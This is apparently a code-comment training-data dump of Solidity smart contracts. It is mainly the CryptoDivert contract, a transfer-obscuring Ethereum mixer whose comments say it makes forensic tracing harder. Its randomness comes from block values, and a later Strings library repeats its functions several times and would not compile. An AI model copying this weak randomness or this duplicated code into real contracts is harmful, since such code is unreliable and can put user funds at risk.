file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
sequence
attention_mask
sequence
labels
sequence
/** * @title CryptoDivert DAPP * @dev Implementation of the CryptoDivert Smart Contract. * @version 2018.04.05 * @copyright All rights reserved (c) 2018 Cryptology ltd, Hong Kong. * @author Cryptology ltd, Hong Kong. * @disclaimer CryptoDivert DAPP provided by Cryptology ltd, Hong Kong is for illustrative purposes only. * * The interface for this contract is running on https://CryptoDivert.io * * You can also use the contract in https://www.myetherwallet.com/#contracts. * With ABI / JSON Interface: * [{"constant":true,"inputs":[],"name":"showPendingAdmin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_password","type":"string"},{"name":"_originAddress","type":"address"}],"name":"Retrieve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"ping","outputs":[{"name":"","type":"string"},{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"whoIsAdmin","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newAdmin","type":"address"}],"name":"setAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_originAddressHash","type":"bytes20"},{"name":"_releaseTime","type":"uint256"},{"name":"_privacyCommission","type":"uint16"}],"name":"SafeGuard","outputs":[{"name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"_originAddressHash","type":"bytes20"}],"name":"AuditSafeGuard","outputs":[{"name":"_safeGuarded","type":"uint256"},{"name":"_timelock","type":"uint256"},{"name":"_privacypercentage","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"AuditBalances","outputs":[{"name":"","type":"uint256"},{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"confirmAdmin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"RetrieveCommissions","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"pendingAdmin","type":"address"},{"indexed":false,"name":"currentAdmin","type":"address"}],"name":"ContractAdminTransferPending","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAdmin","type":"address"},{"indexed":false,"name":"previousAdmin","type":"address"}],"name":"NewContractAdmin","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"value","type":"uint256"}],"name":"CommissionsWithdrawn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"hash","type":"bytes20"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"comissions","type":"uint256"}],"name":"SafeGuardSuccess","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"value","type":"uint256"}],"name":"RetrieveSuccess","type":"event"}] * * ABOUT * This Distributed Application (DAPP) provides private (pseudo-anonymous) transactions on the ETH blockchain. * A forensic expert will be able to trace these transaction with some time and effort. If you don't do * anything illegal where time and effort will be spend to trace you down this should be providing you enough privacy. * You can create public and private transfers (public: anybody with the password can retrieve, private: only a specific address can retrieve). * For private transfers there will be no direct link between safeguarding and retrieving the funds, only an indirect link * where a forensic investigator would have to trial and error hashing all retrieved password/address combinations * until he stumbles upon the one you used to safeguard the ETH. The more usage this DAPP gets, the more private it becomes. * * You can check our FAQ at https://cryptodivert.io/faq for details. * * This software is supplied "AS IS" without any warranties and support. * Cryptology ltd assumes no responsibility or liability for the use of the software, * conveys no license or title under any patent, copyright, or mask work right to the product. * Cryptology ltd make no representation or warranty that such application will be suitable for * the specified use without further testing or modification. * * To the maximum extent permitted by applicable law, in no event shall Cryptology ltd be liable for * any direct, indirect, punitive, incidental, special, consequential damages or any damages * whatsoever including, without limitation, damages for loss of use, data or profits, arising * out of or in any way connected with the use or performance of the CryptoDivert DAPP, with the delay * or inability to use the CryptoDivert DAPP or related services, the provision of or failure to * provide services, or for any information obtained through the CryptoDivert DAPP, or otherwise arising out * of the use of the CryptoDivert DAPP, whether based on contract, tort, negligence, strict liability * or otherwise, even if Cryptology ltd has been advised of the possibility of damages. * Because some states/jurisdictions do not allow the exclusion or limitation of liability for * consequential or incidental damages, the above limitation may not apply to you. * If you are dissatisfied with any portion of the CryptoDivert DAPP, or with any of these terms of * use, your sole and exclusive remedy is to discontinue using the CryptoDivert DAPP. * * DO NOT USE THIS DAPP IN A WAY THAT VIOLATES ANY LAW, WOULD CREATE LIABILITY OR PROMOTES * ILLEGAL ACTIVITIES. */ pragma solidity ^0.4.21; contract CryptoDivert { using SafeMath for uint256; // We don't like overflow errors. // ETH address of the admin. // Some methods from this contract can only be executed by the admin address. address private admin; // Used to confirm a new Admin address. The current admin sets this variable // when he wants to transfer the contract. The change will only be implemented // once the new admin ETH address confirms the address is correct. address private pendingAdmin; // 0x ETH address, we check input against this address. address private constant NO_ADDRESS = address(0); // Store the originating addresses for every SafeGuard. These will be used to // verify the bytes20 hash when a safeguard is retrieved. mapping (bytes20 => address) private senders; // Allow a SafeGuard to be locked until a certain time (e.g. can`t be retrieved before). mapping (bytes20 => uint256) private timers; // Allow a maximum deviation of the amount by x% where x/100 is x * 1% mapping (bytes20 => uint16) private privacyDeviation; // Store the value of every SafeGuard. mapping (bytes20 => uint256) private balances; // Keep balance administrations. uint256 private userBalance; // The total value of all outstanding safeguards combined. // Create additional privacy (only for receiver hashed transfers) uint256 private privacyFund; /// EVENTS /// event ContractAdminTransferPending(address pendingAdmin, address currentAdmin); event NewContractAdmin(address newAdmin, address previousAdmin); event SafeGuardSuccess(bytes20 hash, uint256 value, uint256 comissions); event RetrieveSuccess(uint256 value); /// MODIFIERS /// /** * @dev Only allow a method to be executed if '_who' is not the 0x address */ modifier isAddress(address _who) { require(_who != NO_ADDRESS); _; } /** * @dev Only allow a method the be executed if the input hasn't been messed with. */ modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size +4); // +4 because the 4 bytes of the method. _; } /** * @dev Only allow a method to be executed if 'msg.sender' is the admin. */ modifier OnlyByAdmin() { require(msg.sender == admin); _; } /** * @dev Only allow a method to be executed if '_who' is not the admin. */ modifier isNotAdmin(address _who) { require(_who != admin); _; } /// PUBLIC METHODS /// function CryptoDivert() public { // We need to define the initial administrator for this DAPP. // This should be transferred to the permanent administrator after the contract // has been created on the blockchain. admin = msg.sender; } /** * @dev Process users sending ETH to this contract. * Don't send ETH directly to this contract, use the SafeGuard method to * safeguard your ETHs; then again we don't mind if you like to * buy us a beer (or a Lambo). In that case thanks for the ETH! * We'll assume you actually intended to tip us. */ function() public payable { } /// EXTERNAL VIEW METHODS /// /** * @dev Test for web3js interface to see if contract is correctly initialized. */ function ping() external view returns(string, uint256) { return ("CryptoDivert version 2018.04.05", now); } /** * @dev Shows who is the pending admin for this contract * @return 'pendingAdmin' */ function showPendingAdmin() external view OnlyByAdmin() returns(address) { require(pendingAdmin != NO_ADDRESS); return pendingAdmin; } /** * @dev Shows who is the admin for this contract * @return 'admin' */ function whoIsAdmin() external view returns(address) { return admin; } /** * @dev Check if the internal administration is correct. The safeguarded user balances added to the * un-retrieved admin commission should be the same as the ETH balance of this contract. * * @return uint256 The total current safeguarded balance of all users 'userBalance' + 'privacyfund'. * @return uint256 The outstanding admin commissions 'commissions'. */ function AuditBalances() external view returns(uint256, uint256) { assert(address(this).balance >= userBalance); uint256 pendingBalance = userBalance.add(privacyFund); uint256 commissions = address(this).balance.sub(pendingBalance); return(pendingBalance, commissions); } /** * @dev Check the remaining balance for a safeguarded transaction * * @param _originAddressHash The RIPEMD160 Hash (bytes20) of a password and the originating ETH address. * @return uint256 The remaining value in Wei for this safeguard. */ function AuditSafeGuard(bytes20 _originAddressHash) external view returns(uint256 _safeGuarded, uint256 _timelock, uint16 _privacypercentage) { // Only by the address that uploaded the safeguard to make it harder for prying eyes to track. require(msg.sender == senders[_originAddressHash] || msg.sender == admin); _safeGuarded = balances[_originAddressHash]; _timelock = timers[_originAddressHash]; _privacypercentage = privacyDeviation[_originAddressHash]; return (_safeGuarded, _timelock, _privacypercentage); } /// EXTERNAL METHODS /// /** * @dev Safeguard a value in Wei. You can retreive this after '_releaseTime' via any ETH address * by callling the Retreive method with your password and the originating ETH address. * * To prevent the password from being visible in the blockchain (everything added is visible in the blockchain!) * and allow more users to set the same password, you need to create a RIPEMD160 Hash from your password * and your originating (or intended receiver) ETH address: e.g. if you choose password: 'secret' and transfer balance * from (or to) ETH address (ALL LOWERCASE!) '0x14723a09acff6d2a60dcdf7aa4aff308fddc160c' you should RIPEMD160 Hash: * 'secret0x14723a09acff6d2a60dcdf7aa4aff308fddc160c'. * http://www.md5calc.com/ RIPEMD160 gives us the 20 bytes Hash: '602bc74a8e09f80c2d5bbc4374b8f400f33f2683'. * If you manually transfer value to this contract make sure to enter the hash as a bytes20 '0x602bc74a8e09f80c2d5bbc4374b8f400f33f2683'. * Before you transfer any value to SafeGuard, test the example above and make sure you get the same hash, * then test a transfer (and Retreive!) with a small amount (minimal 1 finney) before SafeGuarding a larger amount. * * IF YOU MAKE AN ERROR WITH YOUR HASH, OR FORGET YOUR PASSWORD, YOUR FUNDS WILL BE SAFEGUARDED FOREVER. * * @param _originAddressHash The RIPEMD160 Hash (bytes20) of a password and the msg.sender or intended receiver ETH address. * @param _releaseTime The UNIX time (uint256) until when this balance is locked up. * @param _privacyCommission The maximum deviation (up or down) that you are willing to use to make tracking on the amount harder. * @return true Usefull if this method is called from a contract. */ function SafeGuard(bytes20 _originAddressHash, uint256 _releaseTime, uint16 _privacyCommission) external payable onlyPayloadSize(3*32) returns(bool) { // We can only SafeGuard anything if there is value transferred. // Minimal value is 1 finney, to prevent SPAM and any errors with the commissions calculations. require(msg.value >= 1 finney); // Prevent Re-usage of a compromised password by this address; Check that we have not used this before. // In case we have used this password, but haven't retrieved the amount, the password is still // uncompromised and we can add this amount to the existing amount. // A password/ETH combination that was used before will be known to the blockchain (clear text) // after the Retrieve method has been called and can't be used again to prevent others retrieving you funds. require(senders[_originAddressHash] == NO_ADDRESS || balances[_originAddressHash] > 0); // We don't know your password (Only you do!) so we can't possible check wether or not // you created the correct hash, we have to assume you did. Only store the first sender of this hash // to prevent someone uploading a small amount with this hash to gain access to the AuditSafeGuard method // or reset the timer. if(senders[_originAddressHash] == NO_ADDRESS) { senders[_originAddressHash] = msg.sender; // If you set a timer we check if it's in the future and add it to this SafeGuard. if (_releaseTime > now) { timers[_originAddressHash] = _releaseTime; } else { timers[_originAddressHash] = now; } // if we have set a privacy deviation store it, max 100% = 10000. if (_privacyCommission > 0 && _privacyCommission <= 10000) { privacyDeviation[_originAddressHash] = _privacyCommission; } } // To pay for our servers (and maybe a beer or two) we charge a 0.8% fee (that's 80cents per 100$). uint256 _commission = msg.value.div(125); //100/125 = 0.8 uint256 _balanceAfterCommission = msg.value.sub(_commission); balances[_originAddressHash] = balances[_originAddressHash].add(_balanceAfterCommission); // Keep score of total user balance userBalance = userBalance.add(_balanceAfterCommission); // Double check that our administration is correct. // The administration can only be incorrect if someone found a loophole in Solidity or in our programming. // The assert will effectively revert the transaction in case someone is cheating. assert(address(this).balance >= userBalance); // Let the user know what a great success. emit SafeGuardSuccess(_originAddressHash, _balanceAfterCommission, _commission); return true; } /** * @dev Retrieve a safeguarded value to the ETH address that calls this method. * * The safeguarded value can be retrieved by any ETH address, including the originating ETH address and contracts. * All you need is the (clear text) password and the originating ETH address that was used to transfer the * value to this contract. This method will recreate the RIPEMD160 Hash that was * given to the SafeGuard method (this will only succeed when both password and address are correct). * The value can only be retrieved after the release timer for this SafeGuard (if any) has expired. * * This Retrieve method can be traced in the blockchain via the input field. * We can create additional anonimity by hashing the receivers address instead of the originating address * in the SafeGuard method. By doing this we render searching for the originating address * in the input field useless. To make the tracement harder, we will charge an addition random * commission between 0 and 5% so the outgoing value is randomized. This will still not create * 100% anonimity because it is possible to hash every password and receiver address combination and compare it * to the hash that was originally given when safeguarding the transaction. * * @param _password The password that was originally hashed for this safeguarded value. * @param _originAddress The address where this safeguarded value was received from. * @return true Usefull if this method is called from a contract. */ function Retrieve(string _password, address _originAddress) external isAddress(_originAddress) onlyPayloadSize(2*32) returns(bool) { // Re-create the _originAddressHash that was given when transferring to this contract. // Either the sender's address was hashed (and allows to retrieve from any address) or // the receiver's address was hashed (more private, but only allows to retrieve from that address). bytes20 _addressHash = _getOriginAddressHash(_originAddress, _password); bytes20 _senderHash = _getOriginAddressHash(msg.sender, _password); bytes20 _transactionHash; uint256 _randomPercentage; // used to make a receiver hashed transaction more private. uint256 _month = 30 * 24 * 60 * 60; // Check if the given '_originAddress' is the same as the address that transferred to this contract. // We do this to prevent people simply giving any hash. if (_originAddress == senders[_addressHash]) { // Public Transaction, hashed with originating address. // Anybody with the password and the sender's address _transactionHash = _addressHash; } else if (msg.sender == senders[_addressHash] && timers[_addressHash].add(_month) < now ) { // Private transaction, retrieve by sender after a month delay. // Allow a sender to retrieve his transfer, only a month after the timelock expired _transactionHash = _addressHash; } else { // Private transaction, hashed with receivers address // Allow a pre-defined receiver to retrieve. _transactionHash = _senderHash; } // Check if the _transactionHash exists and this balance hasn't been received already. // We would normally do this with a require(), but to keep it more private we need the // method to be executed also if it will not result. if (balances[_transactionHash] == 0) { emit RetrieveSuccess(0); return false; } // Check if this SafeGuard has a timelock and if it already has expired. // In case the transaction was sent to a pre-defined address, the sender can retrieve the transaction 1 month after it expired. // We would normally do this with a require(), but to keep it more private we need the // method to be executed also if it will not result. if (timers[_transactionHash] > now ) { emit RetrieveSuccess(0); return false; } // Prepare to transfer the balance out. uint256 _balance = balances[_transactionHash]; balances[_transactionHash] = 0; // Check if the sender allowed for a deviation (up or down) of the value to make tracking harder. // To do this we need to randomize the balance a little so it // become less traceable: To make the tracement harder, we will calculate an // additional random commission between 0 and the allowed deviation which can be added to or substracted from // this transfer's balance so the outgoing value is randomized. if (privacyDeviation[_transactionHash] > 0) { _randomPercentage = _randomize(now, privacyDeviation[_transactionHash]); } if(_randomPercentage > 0) { // Calculate the privacy commissions amount in wei. uint256 _privacyCommission = _balance.div(10000).mul(_randomPercentage); // Check integrity of privacyFund if (userBalance.add(privacyFund) > address(this).balance) { privacyFund = 0; } // Check if we have enough availability in the privacy fund to add to this Retrieve if (_privacyCommission <= privacyFund) { // we have enough funds to add privacyFund = privacyFund.sub(_privacyCommission); userBalance = userBalance.add(_privacyCommission); _balance = _balance.add(_privacyCommission); } else { // the privacy fund is not filled enough, you will contribute to it. _balance = _balance.sub(_privacyCommission); userBalance = userBalance.sub(_privacyCommission); privacyFund = privacyFund.add(_privacyCommission); } } // Keep score of total user balance userBalance = userBalance.sub(_balance); // Transfer the value. msg.sender.transfer(_balance); // Double check that our admin is correct. If not then revert this transaction. assert(address(this).balance >= userBalance); emit RetrieveSuccess(_balance); return true; } /** * @dev Retrieve commissions to the Admin address. */ function RetrieveCommissions() external OnlyByAdmin() { // The fees are the remainder of the contract balance after the userBalance and privacyFund // reservations have been substracted. uint256 pendingBalance = userBalance.add(privacyFund); uint256 commissions = address(this).balance.sub(pendingBalance); // Transfer the commissions. msg.sender.transfer(commissions); // Double check that our admin is correct. assert(address(this).balance >= userBalance); } /** * @dev Approve a new admin for this contract. The new admin will have to * confirm that he is the admin. * @param _newAdmin the new owner of the contract. */ function setAdmin(address _newAdmin) external OnlyByAdmin() isAddress(_newAdmin) isNotAdmin(_newAdmin) onlyPayloadSize(32) { pendingAdmin = _newAdmin; emit ContractAdminTransferPending(pendingAdmin, admin); } /** * @dev Let the pending admin confirm his address and become the new admin. */ function confirmAdmin() external { require(msg.sender==pendingAdmin); address _previousAdmin = admin; admin = pendingAdmin; pendingAdmin = NO_ADDRESS; emit NewContractAdmin(admin, _previousAdmin); } /// PRIVATE METHODS /// /** * @dev Create a (semi) random number. * This is not truely random, as that isn't possible in the blockchain, but * random enough for our purpose. * * @param _seed Randomizing seed. * @param _max Max value. */ function _randomize(uint256 _seed, uint256 _max) private view returns(uint256 _return) { _return = uint256(keccak256(_seed, block.blockhash(block.number -1), block.difficulty, block.coinbase)); return _return % _max; } function _getOriginAddressHash(address _address, string _password) private pure returns(bytes20) { string memory _addressString = toAsciiString(_address); return ripemd160(_password,"0x",_addressString); } function toAsciiString(address x) private pure returns (string) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { byte b = byte(uint8(uint(x) / (2**(8*(19 - i))))); byte hi = byte(uint8(b) / 16); byte lo = byte(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(s); } function char(byte b) private pure returns (byte c) { if (b < 10) return byte(uint8(b) + 0x30); else return byte(uint8(b) + 0x57); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
used to make a receiver hashed transaction more private.
uint256 _randomPercentage;
429,100
[ 1, 3668, 358, 1221, 279, 5971, 14242, 2492, 1898, 3238, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 389, 9188, 16397, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x9911347277a79fC4a00050DFc16afe65f2bFF852/sources/contracts/Squid.sol
* @dev String operations./
library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; _ _____ _____ ___________ ___ _ _____ _____ _ _ ___________ _____ ___ ___ ___ _____ function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
8,325,380
[ 1, 780, 5295, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 8139, 288, 203, 565, 1731, 2313, 3238, 5381, 389, 20661, 67, 22093, 55, 273, 315, 26684, 28953, 14432, 203, 203, 203, 67, 377, 389, 7198, 389, 7198, 389, 12214, 972, 225, 19608, 282, 389, 4202, 389, 7198, 225, 389, 7198, 389, 282, 389, 389, 12214, 972, 282, 389, 7198, 282, 19608, 225, 19608, 225, 19608, 389, 7198, 7010, 203, 203, 203, 565, 445, 1762, 12, 11890, 5034, 460, 13, 2713, 16618, 1135, 261, 1080, 3778, 13, 288, 203, 203, 3639, 309, 261, 1132, 422, 374, 13, 288, 203, 5411, 327, 315, 20, 14432, 203, 3639, 289, 203, 3639, 2254, 5034, 1906, 273, 460, 31, 203, 3639, 2254, 5034, 6815, 31, 203, 3639, 1323, 261, 5814, 480, 374, 13, 288, 203, 5411, 6815, 9904, 31, 203, 5411, 1906, 9531, 1728, 31, 203, 3639, 289, 203, 3639, 1731, 3778, 1613, 273, 394, 1731, 12, 16649, 1769, 203, 3639, 1323, 261, 1132, 480, 374, 13, 288, 203, 5411, 6815, 3947, 404, 31, 203, 5411, 1613, 63, 16649, 65, 273, 1731, 21, 12, 11890, 28, 12, 8875, 397, 2254, 5034, 12, 1132, 738, 1728, 3719, 1769, 203, 5411, 460, 9531, 1728, 31, 203, 3639, 289, 203, 3639, 327, 533, 12, 4106, 1769, 203, 565, 289, 203, 203, 565, 445, 1762, 12, 11890, 5034, 460, 13, 2713, 16618, 1135, 261, 1080, 3778, 13, 288, 203, 203, 3639, 309, 261, 1132, 422, 374, 13, 288, 203, 5411, 327, 315, 20, 14432, 203, 3639, 289, 203, 3639, 2254, 5034, 1906, 273, 460, 31, 203, 3639, 2254, 5034, 6815, 31, 203, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-12-03 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero 